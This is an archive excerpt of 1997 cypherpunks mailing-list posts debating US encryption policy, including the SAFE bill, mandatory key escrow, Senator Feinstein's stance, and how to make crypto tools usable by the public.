>>It may make for good copy, but I think it's just fantasy to think 
>the
>>>administration or their opponents, for that matter, will get what
>>>they want this year. Let them swarm. Who cares.
>>>
>>>At earliest, August of 1998 before anything passes - and even that 
>is
>>>highly optimistic.

        In politics, unfortunately, you often have to act *as if* the other
side is going to win soon.  If you don't, they might.

        A great example was the 1986 Tax Reform Act.  Everyone knew that it
was too complicated for Congress to understand.  Everyone knew that there
were lots of powerful opponents to its elimination of many tax loopholes.
But the darn thing passed anyways.  Even supporters were shocked.  The story
is told in a very well-written book, "Showdown in Gucci Gulch."

        When considering what Congress will do, remember that there are
12,000 bills a year introduced in each chamber.  Crypto is only one of many,
many issues the Members of Congress need to consider.  When things get too
complicated, a politician might think it's just easier to go along with law
enforcement.  How many politicians lose by being tough on crime?

        As for the 1996 Telecomm Act, it's a bad example of what's likely to
happen with crypto.  That Act was fought between truly enormous companies --
RBOCS, AT&T, cable, etc.  Those companies had enormous Washington offices
fighting a life and death lobbying battle for years.  In crypto, the good
guys have nothing like the same lobbying resources.  Unlike Telecomm, the
very largest existing companies in the country will not lose billions next
year if a bad crypto bill is passed.

        In short, it is quite possible that nothing will pass before August,
1998.  It is quite possible by then that the issue will seem politically
hot, and thus be dropped so close to an election.  But the FBI position
might win if we don't act *as if* mandatory key escrow is a real possibility.

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
http://www.osu.edu/units/law/swire.htm (revised site now
	includes publications and Internet Privacy Page)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim Barber <barber@ccrwest.org>
Date: Tue, 16 Sep 1997 02:11:18 +0800
To: Dan Geer <geer@world.std.com>
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <199709151620.AA10818@world.std.com>
Message-ID: <Pine.SUN.3.96.970915095517.18668B-100000@grazia.ccrwest.org>
MIME-Version: 1.0
Content-Type: text/plain





On Mon, 15 Sep 1997, Dan Geer wrote:

> i recall Tzu also saying that you need to use the enemy's momentum to
> your advantage, the principle of judo if you will.  in parallel,
> revolutionaries of many stripes have found that "heightening the
> contrast" is necessary if you mean for real change to occur. 
...
> in other words, shift the weight of who is radical to them.  wrap
> ourselves in the flag deep within the big-government-sucks camp.  march
> on the capital dressed as skin heads demanding the end of privacy for
> some sorrowful group or other.  send the kind of letters that get you
> into trouble with the Secret Service but send them encrypted in Bill's
> private key (which you can issue him whether he likes it or not).
> mau-mau the flak catchers...

I like these suggestions on how to fight fire with fire.  (Regarding the
last one though, do remember that even just impersonating a federal
official carries a jail term.  Federal citizens have more rights than the
rest of us.)

Whimsically, I can imagine a coalition of dictators lobbying congress in
favor of a key escrow policy.  "Enciphered communications are causing us
to lose our iron grip over our people.  We must impose key escrow now, so
that we can monitor domestic communications, and execute citizens who
exchange undesirable political ideas."

Regarding the struggle in general for free crypto, have faith that spin
control should always work in our favor.  Even if the entire government
remains opposed crypto, the press should still be on our side. 

T Barber
barber@ccrwest.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lizard <lizard@dnai.com>
Date: Tue, 16 Sep 1997 02:02:39 +0800
To: sameer <fnorky@geocities.com (Douglas L. Peterson)
Subject: Re: The problem of playing politics with our constitutional rights
In-Reply-To: <3420afc6.108774731@mail.geocities.com>
Message-ID: <3.0.1.32.19970915104030.00b06e90@dnai.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:09 AM 9/15/97 -0700, sameer wrote:
>> 
>> Writing the code is no longer enough.  The code must be usable by the
>> sheeple to work.  How do we do that?
>
>	Sell code.
>
Marketing.

It's not enough to have a great product -- you must also have great
marketing. In the case of memewar, you need to get people to want to use
something, enough to change their habits, even slightly. The less they need
to change, relative to the benefit they get, the better.

PGP/Eudora is a wonderful example of this. All that is needed to use it is
one extra step (after install) -- typing your passphrase to sign a message
before it is sent. Otherwise, it works the same as it always has. As a side
effect, you can right-click to encrypt any file you can see in Explorer.
Simple, quick, and usable even by the brain-dead, once you've convinced
them TO use it. (And I forgot to bring my key file to work, so my Eudora
here is useless for those purposes. Bother.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Mon, 15 Sep 1997 23:17:07 +0800
To: cypherpunks@Algebra.COM
Subject: Re: (fwd) IRS Modernization
In-Reply-To: <199709132104.RAA15285@yakko.cs.wmich.edu>
Message-ID: <97Sep15.110635edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 13 Sep 1997, Damaged Justice wrote:

> I just recently read IRS's "Request for Comments (RFC)", which solicits
> comments for modernizing the IRS's tax systems.  This document is the
> first information I've seen that shows just how desperate the IRS is
> and how complex the IRS tax systems are.  Their systems are literally
> incomprehensible.

Where are Computer Professionals for Social Responsibility when you need
them :).

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lou Poppler <lwp@mail.msen.com>
Date: Mon, 15 Sep 1997 23:40:45 +0800
To: cypherpunks@cyberpass.net
Subject: Some anti-GAK reverse-FUD ?
Message-ID: <Pine.BSI.3.92.970915110748.18183A-100000@conch.msen.com>
MIME-Version: 1.0
Content-Type: text/plain



Today's NY Times has a long article about how easily personal information
can be extracted from various kinds of computers and networks. (URL below)
This snippet illustrates nicely one of the dangers of trusting information
to "legitimate" law enforcement.

-- Begin quoted text: --
[...]
In a 1997 New Year's letter to "friends and clients" of Investigative Group
International Inc., one of the best-connected Washington investigative
agencies, the chairman, Terry Lenzner, noted "increasing interest by
clients seeking to protect themselves from negative campaigns," including
those by "so-called 'whistle-blowers,"' unions and regulatory agencies.
[...]
The promotion brochure features veteran investigative reporters who now
work for IGI. Their role adds a new dimension to the long-revolving door
between law enforcement and private investigations.  IGI's staff, for
example, includes former top officials of the Drug Enforcement
Administration, the FBI and Germany's national police force.

Meanwhile, Ray Kelly, who had been chief of police in New York City before
joining IGI to run its New York operations, now heads the Secret Service,
the Bureau of Customs and the Bureau of Alcohol, Tobacco and Firearms.
Such ties, along with IGI's assignment from the Democratic National
Committee to probe its campaign-finance mess, inspire some critics to liken
it to President Clinton's private CIA -- a characterization that Lenzner,
who was a lawyer for the Senate Watergate committee, vigorously rejects.
[...]

full article is at:
  http://www.nytimes.com/library/cyber/week/091597privacy.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Mon, 15 Sep 1997 23:42:28 +0800
To: jsmith58@hotmail.com>
Subject: Re: unSAFE won't pass?
In-Reply-To: <19970915030641.1770.qmail@hotmail.com>
Message-ID: <3.0.3.32.19970915112850.0384fa08@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 12:28 PM 9/15/97 +0000, Declan McCullagh wrote:
>
>John,
>
>You don't understand the dynamic. At the NatSec hearing last week, 
there
>were two dozen cosponsors on the committee. But all but one voted to 
gut
>the bill. Many others said they were hoodwinked into signing on.
>
>The tide is changing.


Jeez, I'm not trying to be contrary John or Declan, but here's my 
view:

The chance that more than a few hyper-busy members of Congress 
actually understand this way-arcane issue is nearing zero. Let's face 
it; many if not most members don't even use a PC. Based on what I've 
heard in hearings and from staffers, my seat-of-the-pants guess is - 
oh - let's say 30 of the 535 members in House and Senate really get 
this.

The rest are doing the best they can with limited information, most 
of the time responding to the last person they heard. Thus, 18 0f 22 
co-sponsors of SAFE went the other way after hearing from the FBI.

It's not so much that people are _changing_ their minds, it's that 
they still don't know enough to make an informed decision. Until the 
last few weeks, crypto never occupied the attention of more than a 
handful of the dozens of committees on the Hill.

Unlike most issues, crypto _is_ rocket science to these folks - as it 
is to just about the entire world.




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNB1UMNZgKT/Hvj9iEQInyQCfUeKWIsTrQX6O94abbhmnyM6BKD4AnRGR
Tj0bmclmRMAAwGvM+t/akiZ/
=oZrk
-----END PGP SIGNATURE-----

Will Rodger	                                 Dont' want it printed?
Cyberjournalist                                    Don't let it happen.
Optimist                                        Alles vergangliche ist 
Skeptic                                              nur ein Gleichnis.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Mon, 15 Sep 1997 23:40:54 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A Reality Check & the Full Citizenship Campaign
In-Reply-To: <3.0.3.32.19970914080508.00718784@popd.netcruiser>
Message-ID: <97Sep15.113037edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 14 Sep 1997, Jonathan Wienke wrote:

> 1. All guns had to be registered. (much of this work was done by Hitler's
> predecessors, but it made his job much easier.)
> 
> 2. Abortion was made available on demand.
> 
> 3. Euthanasia was made available for the terminally ill, then encouraged
> for the elderly and feeble-minded.
> 
> 4. Privately owned guns were confiscated. Freedom of speech and press was
> curtailed.
> 
> 5. Euthanasia gradually began to be applied to Communists, labor union
> organizers, Jews, homosexuals, religious leaders, and anyone else who
> opposed the government, eventually requiring the death camps to process all
> those requiring euthanizatrion.
> 
> Most Germans didn't wake up to the situation until it was too late. Martin
> Neimoller's quote "...and when they came for me, I couldn't say anything,
> because there was nobody left to speak for me" (paraphrased) is one of the
> most damning indictments of the sheeplike tendencies of most people. At
> this time, we are working on steps 3 and 4 in the US.

Worse, they voted for Hitler (who by the way stopped the "Taxi Murders"),
and the legislature voted him emergency powers.  The NAZIs did everything
by a stricty legal process.

The principle was clear but overridden by pragmatism.  From life is sacred
(or inviolable if you don't like religous connotations) to life not worthy
of life.

There were those speaking for principle then, as now, but the divisive
politics said not to listen to them because a government can provide
Utopia if you will just provide them the power.

Faschism is more dangerous than socialism, since it keeps some kind of
ownership in private hands, but has all the controls - consider Hillary's
healthcare plan - doctors and hospitals would still be privately owned.

PGP and RSA will still own the intellectual property under GAK.

> Those who do not learn history are condemned to repeat it.

I saw a very ironic session on C-SPAN with the Congressional Black Caucus
sponsoring lecturers on victims of police violence.  A few times the crime
of "Driving while Black" was mentioned.  They mentioned this will get
worse as the states move to primary enforcement of seatbelts, but forgot
to mention that the administration is pushing the initiative (they needed
something since 55 was repealed).  Also mentioned was the war on drugs and
a few of the other invasive federal programs.

My question is why the minorities vote to give police arbitrary powers (or
withold funds from the state if they don't), and expect that the police
won't act arbitrarily and mostly against minorities.

> What part of "the right of the people to keep and bear Arms, shall not be
> infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

Another thing I heard was the move to ban small, inexpensive handguns. 
The type mainly bought by women to protect themselves.  I think it was
something brought forward by Feinstein. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Mon, 15 Sep 1997 23:56:21 +0800
To: cypherpunks <cypherpunks@cyberpass.net>
Subject: The great GAK crack (making GAK economically impossible)
In-Reply-To: <v03110715b042cf58c0a2@[139.167.130.248]>
Message-ID: <97Sep15.114111edt.32260@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain




If I have to GAK my keys, and there then exists a pgp-gak, then we simply
recruit the same CPU power that generated the millions of DES keys to just
run pgpk-gak with the shortest keylength and send billions of keys to the
GAKserver each week.  Many from out of the US if pgp-gak becomes available
there.

My test software uses a loop that generates a new pair every few seconds
on a pentium (and found some very obscure bugs).  I would be required to
send all those to the gak.gov.  If they really want them...

What it probably means is the govenrment will issue keys or have to
license people to create them.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 16 Sep 1997 01:29:51 +0800
To: fnorky@geocities.com (Douglas L. Peterson)
Subject: Re: More on House Intelligence committee amendment on crypto
In-Reply-To: <3422b46b.109964168@mail.geocities.com>
Message-ID: <199709151637.MAA06101@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3422b46b.109964168@mail.geocities.com>, on 09/15/97 
   at 04:37 AM, fnorky@geocities.com (Douglas L. Peterson) said:

>If this is correct, any law that Congress would make that prevented me
>from seeking judicial review would be unconstitutional.

The Constitution was repealed by the Communist Franklin "Dictator for
Life" Roosevelt. The general public was never notified due to "national
security".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNB1Xs49Co1n+aLhhAQGDyQQAk6XuzKSAaTZWXeXG/MFLy0RhepyZYpg1
eFPOrDFtu3R0hCs2T1/g19rtoffRLhaVXgsBPYdzQhwomtJeEJnQW5s84bU6RScN
aXzHR2Lm4S5CNq67Klt4oMInNt/bM8KHaILKNRuTzzn4uGg9XSHRVBo4SCpnYTMX
SB/U5Xhb1wY=
=ssCq
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Arunas Norvaisa <arunas@post1.com>
Date: Mon, 15 Sep 1997 17:15:27 +0800
To: SL Baur <steve@xemacs.org>
Subject: Re: none
In-Reply-To: <bureau42 Anonymous Remailer's message of "Sun, 14 Sep 1997 00:37:47 GMT">
Message-ID: <3.0.3.32.19970915120735.030dfc5c@post1.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On 12:09 AM 97.09.14 -0700, SL Baur wrote (and I quoted):
>
>bureau42 Anonymous Remailer <remailer@bureau42.ml.org> writes:
>
>> Since Sept. 11th:
>
>> http://www.ifi.uio.no/pgp/
>
>> Forbidden
>
>> Your client is not allowed to access the requested object. 
>
>Something is seriously wrong with the ifi.uio.no server.  You can't get
>much of anything off of it.  I doubt the general outage is pgp related,
>this isn't the first time there have been problems with it.
>
>

Try this one instead......

http://zone.pspt.fi/pgp/


- --
greetz... Arunas Norvaisa - little guy, The Masses Inc.
check the message headers for PGP key information _OR_
send mail with subject 'send key' to mailto:arunas@post1.com
PGP for idiots page <http://www1.omnitel.net/an>
and a US mirror site <http://www.post1.com/~arunas>
IBM: I'm Beyond Mistakes


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: Watch out for the Big Brother

iQEPAwUBNBz6uSOu3BjJDX4hAQExswfQvEPFzM9qS7XYNev427X7qtVTA5T4WU0H
OYeGOCgX3E34IqOboBU0gnl7ngB09f760W/BPvxb8e1ijMniaukTUPjTMi1aTSa4
EyWpWsGx5rWUrpvQnotb9MhqTkO5Crci+FxNffjj9FA2ZMYaksOOkrN2HN3wv7hm
mRxSxLY4PKf2pYzPlKTAYbNkicqtzwhicEjMoKerUDGy8CIOkgslUHGEFT4JK5f9
7oM3/Y8Z1ZTDT0jL80ECeHe4jA6YKVKYtuVMxbdfNnKWYSK9UXmTWRSYKywBakSL
JZIBoUM64INh19UsEGolNzPUOAB5GWqO/bB5WbIXHCoong==
=83mA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 16 Sep 1997 00:46:22 +0800
To: cypherpunks@toad.com
Subject: Re: The problem of playing politics with our constitutional  rights
In-Reply-To: <3.0.2.32.19970914235145.0073d63c@netcom10.netcom.com>
Message-ID: <97Sep15.121816edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 15 Sep 1997, Lucky Green wrote:

> At 04:36 AM 9/15/97 GMT, Douglas L. Peterson wrote:
> >Ok, we write code.  But as James S. Tyre pointed out, if the code is
> >too difficult to use it will not be.  And as Declan pointed out
> >many/most people will not use the crypto if they must think about it.
> >
> >Writing the code is no longer enough.  The code must be usable by the
> >sheeple to work.  How do we do that?
> 
> Write better code.

I can think of many examples of very bad code that is difficult to use but
is very popular, an obvious one is that Apple wrote better code than MS.

Even most sheeple rely on whatever is built in to MSWord or Excel than on
PGP, so on that basis there is *NO* existing example of such code.

So, not only do cypherpunks have to write code, it has to be better
quality than Apple, with more marketing push than Microsoft.  And it must
do something useful so they also have to invent a new application that
would justify using the crypto it contains. 

All while they do something else to pay for things like food and heat. 

At this point it is easier to write laws.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@world.std.com>
Date: Tue, 16 Sep 1997 00:55:59 +0800
To: iang@systemics.com
Subject: Re: Real issue of crypto controls: security or taxation loss?
In-Reply-To: <19970913205340.14699.qmail@aaa.aaa-mainstreet.nl>
Message-ID: <199709151620.AA10818@world.std.com>
MIME-Version: 1.0
Content-Type: text/plain




as you say,

    Sun Tsu (from memory): select the battleground where you are
    strongest and the enemy is weakest.

which is good advice.  

i recall Tzu also saying that you need to use
the enemy's momentum to your advantage, the 
principle of judo if you will.  in parallel,
revolutionaries of many stripes have found
that "heightening the contrast" is necessary
if you mean for real change to occur.  

which brings me to ask, rhetorically i suspect,
how we might heighten the contrast.  i'd suggest
delegating to some of us a support-the-bill
effort complete with a detailed description of
how the transmorgrified proposal that makes
illegal all sorts of now ordinary acts.

 * you can't talk on the phone in a language the surveillance
   folk don't know (witness Compuserve's prohibition of Welsh
   on their otherwise monitored bulletin boards)
 * cryptographic door locks are now illegal without escrow
   (witness the SecurID-equipped door knob)
 * contracts that are transmitted over electronic means including
   facsimile must not be encrypted unless the keys are made
   available (witness the proliferation of safe fax machines)
 * no end-to-end encrypting cellular telephones may be used even
   if you are talking to someone in an otherwise hostile country
   (witness the formal industrial espionage of some countries)
 * passwords that map directly to encryption keys must therefore
   be escrowed (witness nearly everything but start with all the
   Kerberos derivatives including new NT stuff)
 * banks have to ensure that encrypted materials put into their
   safety deposit boxes are escrowed (sue somebody for the keys
   in their box naming the bank co-defendant for failure to escrow)
 * the attorney client privilege will not apply to my whispering
   my key to him/her, i.e., if i tell my attorney my key they are
   now my escrow agent even if it means violating the sanctity
   of the private conversation (witness i-don't-know-what but
   call Kevorkian to enlist him)
 * outlaw anonymous trading and the firms that provide it on the
   grounds that these represent encryption-of-names (witness the
   rules requiring such trading under some circumstances and the
   convention for others)

in other words, shift the weight of who is radical
to them.  wrap ourselves in the flag deep within the
big-government-sucks camp.  march on the capital
dressed as skin heads demanding the end of privacy
for some sorrowful group or other.  send the kind
of letters that get you into trouble with the
Secret Service but send them encrypted in Bill's
private key (which you can issue him whether he likes
it or not).  mau-mau the flak catchers...

--dan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 16 Sep 1997 02:21:29 +0800
To: Donald Weightman <lab@vmeng.com
Subject: Re: Assume the worst, make lemonade?
In-Reply-To: <3.0.16.19970915133706.2fcf1be8@pop.radix.net>
Message-ID: <3.0.3.32.19970915125900.006c2f68@schloss.li>
MIME-Version: 1.0
Content-Type: text/plain



At 01:37 PM 9/15/97 -0400, Donald Weightman wrote:
>Well, I'm as angry as anyone about last week's developments, but there's
>work to do ...
>
>Suppose that there is only a 12 - 30 month window for distributing strong
>crypto. If there is a grandfather clause at the end, then would it make
>sense to approach Chaum or other holders of potentially mission-critical or
>roadblock patents, and ask whether they want to revisit the terms of
>potential licenses, in view of the storm clouds over the political
>landscape?  It would seem better to get something *out* rather than wasting
>the narrow time window trying to negotiate past impasse.

Then why bother talking to patent holders?  Just release it on the sly and
damn the patent holders.  I mean, if your intent is to get the stuff out
there, and your essentially going to be committing a felony anyhow in a few
years, who cares about a stupid patent suit?

What really needs attention is getting key lengths and stego such that they
are prepared to endure 20 years of crypto-freeze and Moore's law.  That is
if, and please understand my examination of the issue to be academic- not
advisory, you want it out there in the "underground."

>The only time I met him, Chaum seemed to be expressing political views
>which might make him sympathetic to such an approach.

Chaum is Jurassic CryptoSuit.  He waited, and he's about to lose all the
cookies because DigiCash did such a bang up job at accomplishing nothing
with extremely promising technology.  (RSA without the bravado).  Placing
bets on Chaum for the purposes of getting the technology out is silly.
(They just got another $25m and they still only boast something like 2,500
customers in the entire U.S.)  Placing bets on Chaum, however, for the
purposes of usurping the technology with the hope that it may be legal once
again to use it without handing government the key, that might be a
worthwhile approach.  Perhaps the patents look cheap right now, but if the
administration bill flops (don't hold your breath from what I hear), they
might get real valueable real quick.  That's more like the market savvy
approach this group should be taking.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Will Rodger <rodger@worldnet.att.net>
Date: Tue, 16 Sep 1997 01:26:33 +0800
To: cypherpunks@Algebra.COM
Subject: Re: unSAFE won't pass?
Message-ID: <3.0.3.32.19970915130316.03869554@postoffice.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Peter asked me to forward this.

Here he makes a valuable point on political organization - something 
which helps explain why some people are more dire in their tone 
regarding the state of things here in Washington.

Below's what he wrote.

W.

At 10:31 PM 9/14/97 -0400, Will Rodger explained his view that:

>>It may make for good copy, but I think it's just fantasy to think 
>the
>>>administration or their opponents, for that matter, will get what
>>>they want this year. Let them swarm. Who cares.
>>>
>>>At earliest, August of 1998 before anything passes - and even that 

>is
>>>highly optimistic.

        In politics, unfortunately, you often have to act *as if* the 
other
side is going to win soon.  If you don't, they might.

        A great example was the 1986 Tax Reform Act.  Everyone knew 
that it
was too complicated for Congress to understand.  Everyone knew that 
there
were lots of powerful opponents to its elimination of many tax 
loopholes.
But the darn thing passed anyways.  Even supporters were shocked.  
The story
is told in a very well-written book, "Showdown in Gucci Gulch."

        When considering what Congress will do, remember that there 
are
12,000 bills a year introduced in each chamber.  Crypto is only one 
of many,
many issues the Members of Congress need to consider.  When things 
get too
complicated, a politician might think it's just easier to go along 
with law
enforcement.  How many politicians lose by being tough on crime?

        As for the 1996 Telecomm Act, it's a bad example of what's 
likely to
happen with crypto.  That Act was fought between truly enormous 
companies --
RBOCS, AT&T, cable, etc.  Those companies had enormous Washington 
offices
fighting a life and death lobbying battle for years.  In crypto, the 
good
guys have nothing like the same lobbying resources.  Unlike Telecomm, 
the
very largest existing companies in the country will not lose billions 
next
year if a bad crypto bill is passed.

        In short, it is quite possible that nothing will pass before 
August,
1998.  It is quite possible by then that the issue will seem 
politically
hot, and thus be dropped so close to an election.  But the FBI 
position
might win if we don't act *as if* mandatory key escrow is a real 
possibility.

        Peter

Prof. Peter Swire
Ohio State University
College of Law
mailto:swire.1@osu.edu
http://www.osu.edu/units/law/swire.htm (revised site now
	includes publications and Internet Privacy Page)


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Will Rodger                                           Voice: +1 202-408-7027 
Washington Bureau Chief                        Fax: +1 202-789-2036
Inter@ctive Week                    http://www.interactiveweek.com
A Ziff-Davis Publication            
PGP 5.0: 584D FD11 3035 0EC2 B35C AB16 D660 293F C7BE 3F62
       PGP 2.6.2: D83D 0095 299C 2505 25FA 93FE DDF6 9B5F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Tue, 16 Sep 1997 03:34:25 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Tim May on "The People"
In-Reply-To: <19970721180611.27600@bywater.songbird.com>
Message-ID: <Pine.LNX.3.95.970722092534.7401C-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





(this is a mail messages that got stuck in the
queue a long time ago and just came out)

On Mon, 21 Jul 1997, Kent Crispin wrote:

> On Mon, Jul 21, 1997 at 10:29:37AM -0600, Jim Burnes wrote:
> > 
> [...]
> > Re: Tim May's quote.  May is pointing out the truism that the world
> > is full of weak-minded fools.
> 
> Almost everybody believes they are above average, believe it or not.
> 

I don't care.  IQ scores cluster about a bell curve.  Someone has to
fill out the left side.  Most of the left side don't understand
bell curves and that worries me.

> > This is the essential problem of
> > the illusory democracy that we live in today.  Since in our 
> > illusory democracy, the people falsely believe they've excercised their
> > will via "the vote".
> 
> ?

The people believe they are free because the powers-that-be allow them to
excercise a relatively feeble "right" to vote.  Somehow, even though we've
had this right since the beginning, things have gone from bad to worse
without stop.


>> The reality is that the sheeple, lulled into veritable unconsciouness
>> with an unending stream of monday-night sports, the Home Shopping
>> Channel (TM) and Beavis and Butthead couldn't care a less as long as
>> they feed on the media/social security/propaganda tit.  Their personal
>> opinions, thorougly pre-chewed and digested are spoon-fed to them
>> through a port in the side of their head labeled "fear".


> Right.  So those people simply don't count, and might as well be
> eliminated.

I never said that.  They count and I might say that giving them
the right to vote soothes their nerves because it gives them the
illusion of excercising (rather innefectual) self-determination.
Truth be told, the kinds of issues solved by the "vote" are minor
ones.  Somewhere (circa 1938) the constitutional republic was 
de-activated and replaced by something horrible and malevolent.
Meanwhile all the real power is wielded by a fascist melding of 
powerful corporations, politicians and the military/police state.

I think it quite likely that people are born into this world with some
combination of agression, intelligence and empathy.  The eight
combinations of these three variables determine the natural castes
in life.

Watch out for the one with high agression, high intelligence and
relatively little empathy.

I do internet security consulting for a living and get a chance to
interview everyone from the lowest engineers up to CEO's.  Its very
interesting to see what happens when we turn in our security 
vulnerability reports and see how the people react at the top.
Its a great reflection of character.  Many VPs run scurrying trying
to cover their asses and cover up the facts.  They will destroy
their underlings and force blame on them even when its clear
that their management decisions brought about the current situation.
Often their talent for deceit undermines the very security we
set out to establish putting at risk billions of dollars of
other peoples money.

Relatively little changes from the playground.

The worst are the ones that beligerantly assert that there
is no security problem and how dare we suggest that there
is.  These types are very dangerous because they are not
just reactive, they are pro-active and will destroy the
messengers to cover up their insecurity.  Their tactics are
very clever, quick and decisive.

For whatever its worth....

Actually I'm tired of stating the obvious.  What are the
current outstanding cypher projects?  I'd rather be
writing code. What I need is one more project on the
burner.


Jim Burnes

"How do you explain school to higher intelligence?"
                        Elliot to his brother in ET










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ernest Hua <hua@chromatic.com>
Date: Tue, 16 Sep 1997 05:09:21 +0800
To: cypherpunks@toad.com
Subject: Feinstein in S J Mercury (and my reply) ...
Message-ID: <199709152046.NAA29320@ohio.chromatic.com>
MIME-Version: 1.0
Content-Type: text/plain



Feinstein answers her critics in the usual way slimy politicians
answer critics: Dodge the crucial details and make broad, sweeping,
feel-good but substance-less statments.

    http://www.sjmercury.com/business/feinstein091597.htm

Here is my reply via a letter to the editor:

> Date: Mon, 15 Sep 1997 13:31:10 -0700 (PDT)
> From: Ernest Hua <hua@chromatic.com>
> To: letters@sjmercury.com
> Subject: Feinstein's ignorance on encryption ...
>
> As with the previous Mercury interview with William Reinsch,
> I am extremely disappointed with this interview with
> Feinstein.  There was absolutely ZERO attempt to ask
> Feinstein to answer the tough policy questions in an open
> forum where ALL facts are present (not just the distorted
> information presented by the FBI in classified meetings).
>
> Look at these examples of the same tired arguments from the
> FBI and the NSA, now being spewed by a senator who openly
> admitted that she does not know much about the issue:
>
> > Q: Doesn't government control of encryption technology used
> > by American citizens infringe on their constitutional
> > rights?
> >
> > A: No one is talking about intrusion on privacy rights. That
> > is important. I would not support an intrusion of privacy.
>
> Everyone outside the law enforcement and the intelligence
> agencies ARE talking about privacy; that is why everyone
> wants strong encryption.
>
> When some of the most vocal groups fighting for encryption
> rights include privacy and civil liberty groups, I really
> wonder where Feinstein gets her information.  Is this just
> ignorance, living in denial, or "spin"?
>
> > ... When law enforcement authorities ... obtain a court
> > order, there should be some ability to act on behalf of
> > public safety.
>
> In fact, there is, but the entire focus as been on
> encryption, as if, in case that door were closed off, law
> enforcement and intelligence agents would be completely shut
> out.
>
> Technology has enabled strong encryption, but technology has
> also left a huge and UNENCRYPTED audit trail giving
> significant clues to what the user has been doing.  San Jose
> Mercury has even reported on one of the up and coming
> companies taking advantage of these hidden and very
> revealing trails of information to significantly boost a
> civil or a criminal investigation.
>
> Law enforcement is not crippled by encryption.  They just
> have to keep up with technology, which has offered them more
> advantages than they've ever had before.
>
> > Encryption is already being used by criminals, terrorists
> > and drug cartels. ... Imagine the tragedies that might not
> > be prevented if law enforcement officials are unable to
> > decode encrypted files ...
>
> Law enforcement lobbyists like to paint this picture that
> strong encryption is some sort of technological guarantee of
> absolute secrecy which has crippled their investigations.
> In fact, the FBI, when forced by court order to reveal the
> facts, admitted that no investigations to date were really
> obstructed.  Dorothy Denning, the only pro-law-enforcement
> academic on this issue, confirmed this in her recent study.
>
> No wonder the FBI fought tooth and nail to keep their
> internal memos from the public.
>
> > People's safety must keep pace with new developments in
> > technology, or we will live to regret it. ...  In this
> > case, the industry is being asked to put people's safety
> > ahead of their bottom line.
>
> This is the sort of bogus public safety reasoning that the
> FBI has been promoting.  There is not one single expert
> outside law enforcement that believes criminals will
> actually use any kind of government-mandated encryption.
>
> This is not 1960's.  Back then, strong encryption could not
> possibly be in the hands of individuals because they require
> very sophisticated computers to run.  Programming these
> systems were considered black magic.  The few experts on the
> topic were strongly censored by the NSA.
>
> Today, the same computing power is available in everything
> from a personal computer to a smart toaster.  You can buy a
> powerful chip for under $2.00 from Fry's.  Every
> engineering, math and science graduate today must have
> programming skills to be an effective employee.  Encryption
> books are widely available, and the Department of State
> admitted as much that they could no longer censor these
> books, even from export to unfriendly nations.
>
> If a terrorist can build a bomb from a $5 watch, he can type
> in a program to encrypt his plans.  So which nasty criminals
> can the FBI really snoop on?  Certainly not the ones
> building bombs from everyday appliances.
>
> > ... You replied that ``it seems to me that nothing but some
> > sort of mandatory key recovery does the job.'' Why?
> >
> > A: There needs to be some means, within the strict confines
